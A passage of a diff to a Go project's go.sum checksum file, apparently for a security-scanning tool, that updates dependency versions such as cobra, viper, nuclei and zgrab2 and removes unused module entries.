v1.6.4 h1:fv0U8FUIMPNf1L9lnHLvLhgicrIVChEkdzIKYqbNC9s= github.com/smartystreets/goconvey v1.6.4/go.mod h1:syvi0/a8iFYH4r/RixwvyeAJjdLS9QV7WQ/tjFTllLA= -github.com/soheilhy/cmux v0.1.4/go.mod h1:IM3LyeVVIOuxMH7sFAkER9+bJ4dT7Ms6E4xg4kGIyLM= -github.com/sony/gobreaker v0.4.1/go.mod h1:ZKptC7FHNvhBz7dN2LGjPVBz2sZJmc0/PkyDJOjmxWY= github.com/sourcegraph/conc v0.3.0 h1:OQTbbt6P72L20UqAkXXuLOj79LfEanQ+YQFNpLA9ySo= github.com/sourcegraph/conc v0.3.0/go.mod h1:Sdozi7LEKbFPqYX2/J+iBAM6HpqSLTASQIKqDmF7Mt0= github.com/spaolacci/murmur3 v0.0.0-20180118202830-f09979ecbc72/go.mod h1:JwIasOWyU6f++ZhiEuf87xNszmSA2myDM2Kzu9HwQUA= @@ -1161,19 +997,14 @@ github.com/spf13/afero v1.11.0 h1:WJQKhtpdm3v2IzqG8VMqrr6Rf3UYpEF239Jy9wNepM8= github.com/spf13/afero v1.11.0/go.mod h1:GH9Y3pIexgf1MTIWtNGyogA5MwRIDXGUr+hbWNoBjkY= github.com/spf13/cast v1.6.0 h1:GEiTHELF+vaR5dhz3VqZfFSzZjYbgeKDpBxQVS4GYJ0= github.com/spf13/cast v1.6.0/go.mod h1:ancEpBxwJDODSW/UG4rDrAqiKolqNNh2DX3mk86cAdo= -github.com/spf13/cobra v0.0.3/go.mod h1:1l0Ry5zgKvJasoi3XT1TypsSe7PqH0Sj9dhYf7v3XqQ= -github.com/spf13/cobra v1.8.0 h1:7aJaZx1B85qltLMc546zn58BxxfZdR/W22ej9CFoEf0= -github.com/spf13/cobra v1.8.0/go.mod h1:WXLWApfZ71AjXPya3WOlMsY9yMs7YeiHhFVlvLyhcho= -github.com/spf13/pflag v1.0.1/go.mod h1:DYY7MBk1bdzusC3SYhjObp+wFpr4gzcvqqNjLnInEg4= +github.com/spf13/cobra v1.8.1 h1:e5/vxKd/rZsfSJMUX1agtjeTDf+qv1/JdBF8gg5k9ZM= +github.com/spf13/cobra v1.8.1/go.mod h1:wHxEcudfqmLYa8iTfL+OuZPbBZkmvliBWKIezN3kD9Y= github.com/spf13/pflag v1.0.5 h1:iy+VFUOCP1a+8yFto/drg2CJ5u0yRoB7fZw3DKv/JXA= github.com/spf13/pflag v1.0.5/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg= -github.com/spf13/viper v1.18.2 h1:LUXCnvUvSM6FXAsj6nnfc8Q2tp1dIgUfY9Kc8GsSOiQ= -github.com/spf13/viper v1.18.2/go.mod h1:EKmWIqdnk5lOcmR72yw6hS+8OPYcwD0jteitLMVB+yk= +github.com/spf13/viper v1.19.0 h1:RWq5SEjt8o25SROyN3z2OrDB9l7RPd3lwTWU8EcEdcI= +github.com/spf13/viper v1.19.0/go.mod h1:GQUN9bilAbhU/jgc1bKs99f/suXKeUMct8Adx5+Ntkg= github.com/stacktitan/smb v0.0.0-20190531122847-da9a425dceb8 h1:GVFkBBJAEO3CpzIYcDDBdpUObzKwVW9okNWcLYL/nnU= github.com/stacktitan/smb v0.0.0-20190531122847-da9a425dceb8/go.mod h1:phLSETqH/UJsBtwDVBxSfJKwwkbJcGyy2Q/h4k+bmww= -github.com/streadway/amqp v0.0.0-20190404075320-75d898a42a94/go.mod h1:AZpEONHx3DKn8O/DFsRAY58/XVQiIPMTMB1SddzLXVw= -github.com/streadway/amqp v0.0.0-20190827072141-edfb9018d271/go.mod h1:AZpEONHx3DKn8O/DFsRAY58/XVQiIPMTMB1SddzLXVw= -github.com/streadway/handy v0.0.0-20190108123426-d5acb3125c2a/go.mod h1:qNTQ5P5JnDBl6z3cMAg/SywNDC5ABu5ApDIw6lUbRmI= github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= github.com/stretchr/objx v0.1.1/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= github.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw= @@ -1196,22 +1027,22 @@ github.com/subosito/gotenv v1.6.0 h1:9NlTDc1FTs4qu0DDq7AEtTPNw6SVm7uBMsUCUjABIf8 github.com/subosito/gotenv v1.6.0/go.mod h1:Dk4QP5c2W3ibzajGcXpNraDfq2IrhjMIvMSWPKKo0FU= github.com/syndtr/goleveldb v1.0.0 h1:fBdIW9lB4Iz0n9khmH8w27SJ3QEJ7+IgjPEwGSZiFdE= github.com/syndtr/goleveldb v1.0.0/go.mod h1:ZVVdQEZoIme9iO1Ch2Jdy24qqXrMMOU6lpPAyBWyWuQ= -github.com/tdewolff/parse/v2 v2.7.14 h1:100KJ+QAO3PpMb3uUjzEU/NpmCdbBYz6KPmCIAfWpR8= -github.com/tdewolff/parse/v2 v2.7.14/go.mod h1:3FbJWZp3XT9OWVN3Hmfp0p/a08v4h8J9W1aghka0soA= +github.com/tdewolff/parse/v2 v2.7.15 h1:hysDXtdGZIRF5UZXwpfn3ZWRbm+ru4l53/ajBRGpCTw= +github.com/tdewolff/parse/v2 v2.7.15/go.mod h1:3FbJWZp3XT9OWVN3Hmfp0p/a08v4h8J9W1aghka0soA= github.com/tdewolff/test v1.0.11-0.20231101010635-f1265d231d52 h1:gAQliwn+zJrkjAHVcBEYW/RFvd2St4yYimisvozAYlA= github.com/tdewolff/test v1.0.11-0.20231101010635-f1265d231d52/go.mod h1:6DAvZliBAAnD7rhVgwaM7DE5/d9NMOAJ09SqYqeK4QE= github.com/tebeka/strftime v0.1.3 h1:5HQXOqWKYRFfNyBMNVc9z5+QzuBtIXy03psIhtdJYto= github.com/tebeka/strftime v0.1.3/go.mod h1:7wJm3dZlpr4l/oVK0t1HYIc4rMzQ2XJlOMIUJUJH6XQ= -github.com/tetratelabs/wazero v1.7.2 h1:1+z5nXJNwMLPAWaTePFi49SSTL0IMx/i3Fg8Yc25GDc= -github.com/tetratelabs/wazero v1.7.2/go.mod h1:ytl6Zuh20R/eROuyDaGPkp82O9C/DJfXAwJfQ3X6/7Y= +github.com/tetratelabs/wazero v1.7.3 h1:PBH5KVahrt3S2AHgEjKu4u+LlDbbk+nsGE3KLucy6Rw= +github.com/tetratelabs/wazero v1.7.3/go.mod h1:ytl6Zuh20R/eROuyDaGPkp82O9C/DJfXAwJfQ3X6/7Y= github.com/thoas/go-funk v0.9.3 h1:7+nAEx3kn5ZJcnDm2Bh23N2yOtweO14bi//dvRtgLpw= github.com/thoas/go-funk v0.9.3/go.mod h1:+IWnUfUmFO1+WVYQWQtIJHeRRdaIyyYglZN7xzUPe4Q= github.com/tidwall/assert v0.1.0 h1:aWcKyRBUAdLoVebxo95N7+YZVTFF/ASTr7BN4sLP6XI= github.com/tidwall/assert v0.1.0/go.mod h1:QLYtGyeqse53vuELQheYl9dngGCJQ+mTtlxcktb+Kj8= github.com/tidwall/btree v1.7.0 h1:L1fkJH/AuEh5zBnnBbmTwQ5Lt+bRJ5A8EWecslvo9iI= github.com/tidwall/btree v1.7.0/go.mod h1:twD9XRA5jj9VUQGELzDO4HPQTNJsoWWfYEL+EUQ2cKY= -github.com/tidwall/buntdb v1.3.0 h1:gdhWO+/YwoB2qZMeAU9JcWWsHSYU3OvcieYgFRS0zwA= -github.com/tidwall/buntdb v1.3.0/go.mod h1:lZZrZUWzlyDJKlLQ6DKAy53LnG7m5kHyrEHvvcDmBpU= +github.com/tidwall/buntdb v1.3.1 h1:HKoDF01/aBhl9RjYtbaLnvX9/OuenwvQiC3OP1CcL4o= +github.com/tidwall/buntdb v1.3.1/go.mod h1:lZZrZUWzlyDJKlLQ6DKAy53LnG7m5kHyrEHvvcDmBpU= github.com/tidwall/gjson v1.12.1/go.mod h1:/wbyibRr2FHMks5tjHJ5F8dMZh3AcwJEMf5vlfC0lxk= github.com/tidwall/gjson v1.17.1 h1:wlYEnwqAHgzmhNUFfw7Xalt2JzQvsMx2Se4PcoFCT/U= github.com/tidwall/gjson v1.17.1/go.mod h1:/wbyibRr2FHMks5tjHJ5F8dMZh3AcwJEMf5vlfC0lxk= @@ -1230,13 +1061,10 @@ github.com/tidwall/tinyqueue v0.1.1 h1:SpNEvEggbpyN5DIReaJ2/1ndroY8iyEGxPYxoSaym github.com/tidwall/tinyqueue v0.1.1/go.mod h1:O/QNHwrnjqr6IHItYrzoHAKYhBkLI67Q096fQP5zMYw= github.com/tim-ywliu/nested-logrus-formatter v1.3.2 h1:jugNJ2/CNCI79SxOJCOhwUHeN3O7/7/bj+ZRGOFlCSw= github.com/tim-ywliu/nested-logrus-formatter v1.3.2/go.mod h1:oGPmcxZB65j9Wo7mCnQKSrKEJtVDqyjD666SGmyStXI= -github.com/tklauser/go-sysconf v0.3.12/go.mod h1:Ho14jnntGE1fpdOqQEEaiKRpvIavV0hSfmBq8nJbHYI= github.com/tklauser/go-sysconf v0.3.14 h1:g5vzr9iPFFz24v2KZXs/pvpvh8/V9Fw6vQK5ZZb78yU= github.com/tklauser/go-sysconf v0.3.14/go.mod h1:1ym4lWMLUOhuBOPGtRcJm7tEGX4SCYNEEEtghGG/8uY= -github.com/tklauser/numcpus v0.6.1/go.mod h1:1XfjsgE2zo8GVw7POkMbHENHzVg3GzmoZ9fESEdAacY= github.com/tklauser/numcpus v0.8.0 h1:Mx4Wwe/FjZLeQsK/6kt2EOepwwSl7SmJrK5bV/dXYgY= github.com/tklauser/numcpus v0.8.0/go.mod h1:ZJZlAY+dmR4eut8epnzf0u/VwodKmryxR8txiloSqBE= -github.com/tmc/grpc-websocket-proxy v0.0.0-20170815181823-89b8d40f7ca8/go.mod h1:ncp9v5uamzpCO7NfCPTXjqaC+bZgJeR0sMTm6dMHP7U= github.com/trivago/tgo v1.0.7 h1:uaWH/XIy9aWYWpjm2CU3RpcqZXmX2ysQ9/Go+d9gyrM= github.com/trivago/tgo v1.0.7/go.mod h1:w4dpD+3tzNIIiIfkWWa85w5/B77tlvdZckQ+6PkFnhc= github.com/twitchyliquid64/golang-asm v0.15.1 h1:SU5vSMR7hnwNxj24w34ZyCi/FmDZTkS4MhqMhdFk5YI= @@ -1250,21 +1078,20 @@ github.com/ulikunitz/xz v0.5.8/go.mod h1:nbz6k7qbPmH4IRqmfOplQw/tblSgqTqBwxkY0oW github.com/ulikunitz/xz v0.5.9/go.mod h1:nbz6k7qbPmH4IRqmfOplQw/tblSgqTqBwxkY0oWt/14= github.com/ulikunitz/xz v0.5.12 h1:37Nm15o69RwBkXM0J6A5OlE67RZTfzUxTj8fB3dfcsc= github.com/ulikunitz/xz v0.5.12/go.mod h1:nbz6k7qbPmH4IRqmfOplQw/tblSgqTqBwxkY0oWt/14= -github.com/urfave/cli v1.20.0/go.mod h1:70zkFmudgCuE/ngEzBv17Jvp/497gISqfk5gWijbERA= -github.com/urfave/cli v1.22.1/go.mod h1:Gos4lmkARVdJ6EkW0WaNv/tZAAMe9V7XWyB60NtXRu0= github.com/valyala/bytebufferpool v1.0.0 h1:GqA5TC/0021Y/b9FG4Oi9Mr3q7XYx6KllzawFIhcdPw= github.com/valyala/bytebufferpool v1.0.0/go.mod h1:6bBcMArwyJ5K/AmCkWv1jt77kVWyCJ6HpOuEn7z0Csc= github.com/valyala/fasttemplate v1.2.2 h1:lxLXG0uE3Qnshl9QyaK6XJxMXlQZELvChBOCmQD0Loo= github.com/valyala/fasttemplate v1.2.2/go.mod h1:KHLXt3tVN2HBp8eijSv/kGJopbvo7S+qRAEEKiv+SiQ= -github.com/wasilibs/go-re2 v1.5.3 h1:wiuTcgDZdLhu8NG8oqF5sF5Q3yIU14lPAvXqeYzDK3g= -github.com/wasilibs/go-re2 v1.5.3/go.mod h1:PzpVPsBdFC7vM8QJbbEnOeTmwA0DGE783d/Gex8eCV8= +github.com/wasilibs/go-re2 v1.6.0 h1:CLlhDebt38wtl/zz4ww+hkXBMcxjrKFvTDXzFW2VOz8= +github.com/wasilibs/go-re2 v1.6.0/go.mod h1:prArCyErsypRBI/jFAFJEbzyHzjABKqkzlidF0SNA04= github.com/wasilibs/nottinygc v0.4.0 h1:h1TJMihMC4neN6Zq+WKpLxgd9xCFMw7O9ETLwY2exJQ= github.com/wasilibs/nottinygc v0.4.0/go.mod h1:oDcIotskuYNMpqMF23l7Z8uzD4TC0WXHK8jetlB3HIo= github.com/weppos/publicsuffix-go v0.12.0/go.mod h1:z3LCPQ38eedDQSwmsSRW4Y7t2L8Ln16JPQ02lHAdn5k= github.com/weppos/publicsuffix-go v0.13.0/go.mod h1:z3LCPQ38eedDQSwmsSRW4Y7t2L8Ln16JPQ02lHAdn5k= github.com/weppos/publicsuffix-go v0.30.0/go.mod h1:kBi8zwYnR0zrbm8RcuN1o9Fzgpnnn+btVN8uWPMyXAY= -github.com/weppos/publicsuffix-go v0.30.2 h1:Np18yzfMR90jNampWFs7iSh2sw/qCZkhL41/ffyihCU= github.com/weppos/publicsuffix-go v0.30.2/go.mod h1:/hGscit36Yt+wammfBBwdMdxBT8btsTt6KvwO9OvMyM= +github.com/weppos/publicsuffix-go v0.40.0 h1:bOdtjYZa3UZfi18A4O2PbNzC4VqRlA/xCApKYsMAWMc= +github.com/weppos/publicsuffix-go v0.40.0/go.mod h1:vLdXKydr/OJssAXmjY0XBgLXUfivBMrNRIBljgtqCnw= github.com/weppos/publicsuffix-go/publicsuffix/generator v0.0.0-20220927085643-dc0d00c92642/go.mod h1:GHfoeIdZLdZmLjMlzBftbTDntahTttUMWjxZwQJhULE= github.com/wk8/go-ordered-map/v2 v2.1.8 h1:5h/BUHu93oj4gIdvHHHGsScSTMijfx5PeYkE/fJgbpc= github.com/wk8/go-ordered-map/v2 v2.1.8/go.mod h1:5nJHM5DyteebpVlHnWMV0rPz6Zp7+xBAnxjb1X5vnTw= @@ -1283,26 +1110,30 @@ github.com/xhit/go-str2duration/v2 v2.1.0 h1:lxklc02Drh6ynqX+DdPyp5pCKLUQpRT8bp8 github.com/xhit/go-str2duration/v2 v2.1.0/go.mod h1:ohY8p+0f07DiV6Em5LKB0s2YpLtXVyJfNt1+BlmyAsU= github.com/xi2/xz v0.0.0-20171230120015-48954b6210f8 h1:nIPpBwaJSVYIxUFsDv3M8ofmx9yWTog9BfvIu0q41lo= github.com/xi2/xz v0.0.0-20171230120015-48954b6210f8/go.mod h1:HUYIGzjTL3rfEspMxjDjgmT5uz5wzYJKVo23qUhYTos= -github.com/xiang90/probing v0.0.0-20190116061207-43a291ad63a2/go.mod h1:UETIi67q53MR2AWcXfiuqkDkRtnGDLqkBTpCHuJHxtU= -github.com/yaklang/yaklang v1.3.2 h1:AhuwETMw1QSVajRaU31VwHMdyk0ZZ/V2TINsiO65AhE= -github.com/yaklang/yaklang v1.3.2/go.mod h1:NpS8x6fbfhaTjN9uQf/KzeW3BVqu4x/Yr7AAQW7qzBo= +github.com/yaklang/yaklang v1.3.3 h1:UujduG9XmPl0vMbIDRKKPnkGXJkmhivdU2jA4TMKjeY= +github.com/yaklang/yaklang v1.3.3/go.mod h1:eQIYc5LMNmBsBX+TjOk2cM7XH9ZqwtOPEJyhISbyQJQ= +github.com/yhy0/httpx v0.0.0-20240703092203-41c7c943bf70 h1:mMhVaIv3IWP1IypdI+3MnfhQtBHLES6cgnQn3umWRSE= +github.com/yhy0/httpx v0.0.0-20240703092203-41c7c943bf70/go.mod h1:sBRTmrr88nk4GeBXChu7xBxZSgzwFgux8oBRwzd/klk= +github.com/yhy0/katana v0.0.0-20240703092224-91479ccbe22c h1:xXdojHu+taoegnNO0zDuNaAB++slxEnMngYnnbRrEBM= +github.com/yhy0/katana v0.0.0-20240703092224-91479ccbe22c/go.mod h1:S/8IwGFpA/0ZXq/8zf8DfHYCGKVnJKh9kR700NqT/6I= github.com/yhy0/logging v0.0.0-20231128014545-22711cccc3b0 h1:ANZZm1sR5FKK/0x/AV+842HFHA3EJYJaTVpFM9X/qHI= github.com/yhy0/logging v0.0.0-20231128014545-22711cccc3b0/go.mod h1:DjdElPsDqf4IhYGiBtUKGT8i75RBZSwl+KgsaMJlZpU= +github.com/yhy0/nuclei/v3 v3.0.0-20240703094421-5e2869a2d835 h1:urSdVsyhswsdcEB4RDTNI+u16BeSSiI1YL8rykiCjFw= +github.com/yhy0/nuclei/v3 v3.0.0-20240703094421-5e2869a2d835/go.mod h1:ITpIlbZU4hCuHxpEFLwzTvVJ6T4K6UwuKaL1O5/r1fg= github.com/yhy0/sizedwaitgroup v1.0.1 h1:3Q0GsMlPd6XMIMRBY768uD81shNiU2rMjk3vmGICMdc= github.com/yhy0/sizedwaitgroup v1.0.1/go.mod h1:HkGFc8V97BlG9xHMtAIxe4r9+mKD0jpHBlkoEL0UpkI= +github.com/yhy0/wappalyzergo v0.0.0-20240703091843-96f4c697343a h1:2sjxkG+VIITiYKFjlnQWlWimiab7GQ7SgbgymtMu3ZM= +github.com/yhy0/wappalyzergo v0.0.0-20240703091843-96f4c697343a/go.mod h1:NlCNNokYymu6MfavO3eBoqRIyYnGEYiHwJDLPeCzMuU= github.com/yl2chen/cidranger v1.0.2 h1:lbOWZVCG1tCRX4u24kuM1Tb4nHqWkDxwLdoS+SevawU= github.com/yl2chen/cidranger v1.0.2/go.mod h1:9U1yz7WPYDwf0vpNWFaeRh0bjwz5RVgRy/9UEQfHl0g= -github.com/ysmood/fetchup v0.2.3/go.mod h1:xhibcRKziSvol0H1/pj33dnKrYyI2ebIvz5cOOkYGns= github.com/ysmood/fetchup v0.2.4 h1:2kfWr/UrdiHg4KYRrxL2Jcrqx4DZYD+OtWu7WPBZl5o= github.com/ysmood/fetchup v0.2.4/go.mod h1:hbysoq65PXL0NQeNzUczNYIKpwpkwFL4LXMDEvIQq9A= github.com/ysmood/goob v0.4.0 h1:HsxXhyLBeGzWXnqVKtmT9qM7EuVs/XOgkX7T6r1o1AQ= github.com/ysmood/goob v0.4.0/go.mod h1:u6yx7ZhS4Exf2MwciFr6nIM8knHQIE22lFpWHnfql18= -github.com/ysmood/gop v0.0.2/go.mod h1:rr5z2z27oGEbyB787hpEcx4ab8cCiPnKxn0SUHt6xzk= github.com/ysmood/gop v0.2.0 h1:+tFrG0TWPxT6p9ZaZs+VY+opCvHU8/3Fk6BaNv6kqKg= github.com/ysmood/gop v0.2.0/go.mod h1:rr5z2z27oGEbyB787hpEcx4ab8cCiPnKxn0SUHt6xzk= -github.com/ysmood/got v0.34.1/go.mod h1:yddyjq/PmAf08RMLSwDjPyCvHvYed+WjHnQxpH851LM= -github.com/ysmood/got v0.39.5 h1:RnwtdeON7UQMsXA/6US9VslYOmlD3uy4GykWxAlgsMs= -github.com/ysmood/got v0.39.5/go.mod h1:W7DdpuX6skL3NszLmAsC5hT7JAhuLZhByVzHTq874Qg= +github.com/ysmood/got v0.40.0 h1:ZQk1B55zIvS7zflRrkGfPDrPG3d7+JOza1ZkNxcc74Q= +github.com/ysmood/got v0.40.0/go.mod h1:W7DdpuX6skL3NszLmAsC5hT7JAhuLZhByVzHTq874Qg= github.com/ysmood/gotrace v0.6.0 h1:SyI1d4jclswLhg7SWTL6os3L1WOKeNn/ZtzVQF8QmdY= github.com/ysmood/gotrace v0.6.0/go.mod h1:TzhIG7nHDry5//eYZDYcTzuJLYQIkykJzCRIo4/dzQM= github.com/ysmood/gson v0.7.3 h1:QFkWbTH8MxyUTKPkVWAENJhxqdBa4lYTQWqZCiLG6kE= @@ -1312,16 +1143,16 @@ github.com/ysmood/leakless v0.8.0/go.mod h1:R8iAXPRaG97QJwqxs74RdwzcRHT1SWCGTNqY github.com/yuin/goldmark v1.1.25/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74= github.com/yuin/goldmark v1.1.27/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74= github.com/yuin/goldmark v1.1.32/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74= -github.com/yuin/goldmark v1.3.7/go.mod h1:mwnBkeHKe2W/ZEtQ+71ViKU8L12m81fl3OWwC1Zlc8k= github.com/yuin/goldmark v1.4.13/go.mod h1:6yULJ656Px+3vBD8DxQVa3kxgyrAnzto9xy5taEt/CY= -github.com/yuin/goldmark v1.7.1 h1:3bajkSilaCbjdKVsKdZjZCLBNPL9pYzrCakKaf4U49U= github.com/yuin/goldmark v1.7.1/go.mod h1:uzxRWxtg69N339t3louHJ7+O03ezfj6PlliRlaOzY1E= -github.com/yuin/goldmark-emoji v1.0.2 h1:c/RgTShNgHTtc6xdz2KKI74jJr6rWi7FPgnP9GAsO5s= -github.com/yuin/goldmark-emoji v1.0.2/go.mod h1:RhP/RWpexdp+KHs7ghKnifRoIs/Bq4nDS7tRbCkOwKY= +github.com/yuin/goldmark v1.7.3 h1:fdk0a/y60GsS4NbEd13GSIP+d8OjtTkmluY32Dy1Z/A= +github.com/yuin/goldmark v1.7.3/go.mod h1:uzxRWxtg69N339t3louHJ7+O03ezfj6PlliRlaOzY1E= +github.com/yuin/goldmark-emoji v1.0.3 h1:aLRkLHOuBR2czCY4R8olwMjID+tENfhyFDMCRhbIQY4= +github.com/yuin/goldmark-emoji v1.0.3/go.mod h1:tTkZEbwu5wkPmgTcitqddVxY9osFZiavD+r4AzQrh1U= github.com/yusufpapurcu/wmi v1.2.4 h1:zFUKzehAFReQwLys1b/iSMl+JQGSCSjtVqQn9bBrPo0= github.com/yusufpapurcu/wmi v1.2.4/go.mod h1:SBZ9tNy3G9/m5Oi98Zks0QjeHVDvuK0qfxQmPyzfmi0= -github.com/zcalusic/sysinfo v1.0.2 h1:nwTTo2a+WQ0NXwo0BGRojOJvJ/5XKvQih+2RrtWqfxc= -github.com/zcalusic/sysinfo v1.0.2/go.mod h1:kluzTYflRWo6/tXVMJPdEjShsbPpsFRyy+p1mBQPC30= +github.com/zcalusic/sysinfo v1.1.0 h1:79Hqn8h4poVz6T57/4ezXbT5ZkZbZm7u1YU1C4paMyk= +github.com/zcalusic/sysinfo v1.1.0/go.mod h1:NX+qYnWGtJVPV0yWldff9uppNKU4h40hJIRPf/pGLv4= github.com/zeebo/assert v1.1.0 h1:hU1L1vLTHsnO8x8c9KAR5GmM5QscxHg5RNU5z5qbUWY= github.com/zeebo/assert v1.1.0/go.mod h1:Pq9JiuJQpG8JLJdtkwrJESF0Foym2/D9XMU5ciN/wJ0= github.com/zeebo/blake3 v0.2.3 h1:TFoLXsjeXqRNFxSbk35Dk4YtszE/MQQGK10BH4ptoTg= @@ -1339,45 +1170,34 @@ github.com/zmap/zcrypto v0.0.0-20230310154051-c8b263fd8300/go.mod h1:mOd4yUMgn2f github.com/zmap/zcrypto v0.0.0-20240512203510-0fef58d9a9db h1:IfONOhyZlf4qPt3ENPU+27mBbPjzTQ+swKpj7MJva9I= github.com/zmap/zcrypto v0.0.0-20240512203510-0fef58d9a9db/go.mod h1:mo/07mo6reDaiz6BzveCuYBWb1d+aX8Pf8Nh+Q57y2g= github.com/zmap/zflags v1.4.0-beta.1.0.20200204220219-9d95409821b6/go.mod h1:HXDUD+uue8yeLHr0eXx1lvY6CvMiHbTKw5nGmA9OUoo= -github.com/zmap/zgrab2 v0.1.8-0.20230806160807-97ba87c0e706 h1:LaMyYFWQA7kh3ovPfAaFDTKlJu3JGng8khruOtsBVnE= -github.com/zmap/zgrab2 v0.1.8-0.20230806160807-97ba87c0e706/go.mod h1:re2kMcs84XHb8Xl6RInt0emoKCuphfmfjHYuteviLHQ= +github.com/zmap/zgrab2 v0.1.8 h1:PFnXrIBcGjYFec1JNbxMKQuSXXzS+SbqE89luuF4ORY= +github.com/zmap/zgrab2 v0.1.8/go.mod h1:5d8HSmUwvllx4q1qG50v/KXphkg45ZzWdaQtgTFnegE= github.com/zmap/zlint/v3 v3.0.0/go.mod h1:paGwFySdHIBEMJ61YjoqT4h7Ge+fdYG4sUQhnTb1lJ8= -go.etcd.io/bbolt v1.3.3/go.mod h1:IbVyRI1SCnLcuJnV2u8VeU0CEYM7e686BmAb1XKL+uU= go.etcd.io/bbolt v1.3.10 h1:+BqfJTcCzTItrop8mq/lbzL8wSGtj94UO/3U31shqG0= go.etcd.io/bbolt v1.3.10/go.mod h1:bK3UQLPJZly7IlNmV7uVHJDxfe5aK9Ll93e/74Y9oEQ= -go.etcd.io/etcd v0.0.0-20191023171146-3cf2f69b5738/go.mod h1:dnLIgRNXwCJa5e+c6mIZCrds/GIG4ncV9HhK5PX7jPg= -go.opencensus.io v0.20.1/go.mod h1:6WKK9ahsWS3RSO+PY9ZHZUfv2irvY6gN279GOPZjmmk= -go.opencensus.io v0.20.2/go.mod h1:6WKK9ahsWS3RSO+PY9ZHZUfv2irvY6gN279GOPZjmmk= go.opencensus.io v0.21.0/go.mod h1:mSImk1erAIZhrmZN+AvHh14ztQfjbGwt4TtuofqLduU= go.opencensus.io v0.22.0/go.mod h1:+kGneAE2xo2IficOXnaByMWTGM9T73dGwxeWcUqIpI8= go.opencensus.io v0.22.2/go.mod h1:yxeiOL68Rb0Xd1ddK5vPZ/oVn4vY4Ynel7k9FzqtOIw= go.opencensus.io v0.22.3/go.mod h1:yxeiOL68Rb0Xd1ddK5vPZ/oVn4vY4Ynel7k9FzqtOIw= go.opencensus.io v0.22.4/go.mod h1:yxeiOL68Rb0Xd1ddK5vPZ/oVn4vY4Ynel7k9FzqtOIw= go.opentelemetry.io/otel v1.0.0/go.mod h1:AjRVh9A5/5DE7S+mZtTR6t8vpKKryam+0lREnfmS4cg= -go.opentelemetry.io/otel v1.22.0 h1:xS7Ku+7yTFvDfDraDIJVpw7XPyuHlB9MCiqqX5mcJ6Y= -go.opentelemetry.io/otel v1.22.0/go.mod h1:eoV4iAi3Ea8LkAEI9+GFT44O6T/D0GWAVFyZVCC6pMI= -go.opentelemetry.io/otel/metric v1.22.0 h1:lypMQnGyJYeuYPhOM/bgjbFM6WE44W1/T45er4d8Hhg= -go.opentelemetry.io/otel/metric v1.22.0/go.mod h1:evJGjVpZv0mQ5QBRJoBF64yMuOf4xCWdXjK8pzFvliY= +go.opentelemetry.io/otel v1.24.0 h1:0LAOdjNmQeSTzGBzduGe/rU4tZhMwL5rWgtp9Ku5Jfo= +go.opentelemetry.io/otel v1.24.0/go.mod h1:W7b9Ozg4nkF5tWI5zsXkaKKDjdVjpD4oAt9Qi/MArHo= +go.opentelemetry.io/otel/metric v1.24.0 h1:6EhoGWWK28x1fbpA4tYTOWBkPefTDQnb8WSGXlc88kI= +go.opentelemetry.io/otel/metric v1.24.0/go.mod h1:VYhLe1rFfxuTXLgj4CBiyz+9WYBA8pNGJgDcSFRKBco= go.opentelemetry.io/otel/trace v1.0.0/go.mod h1:PXTWqayeFUlJV1YDNhsJYB184+IvAH814St6o6ajzIs= -go.opentelemetry.io/otel/trace v1.22.0 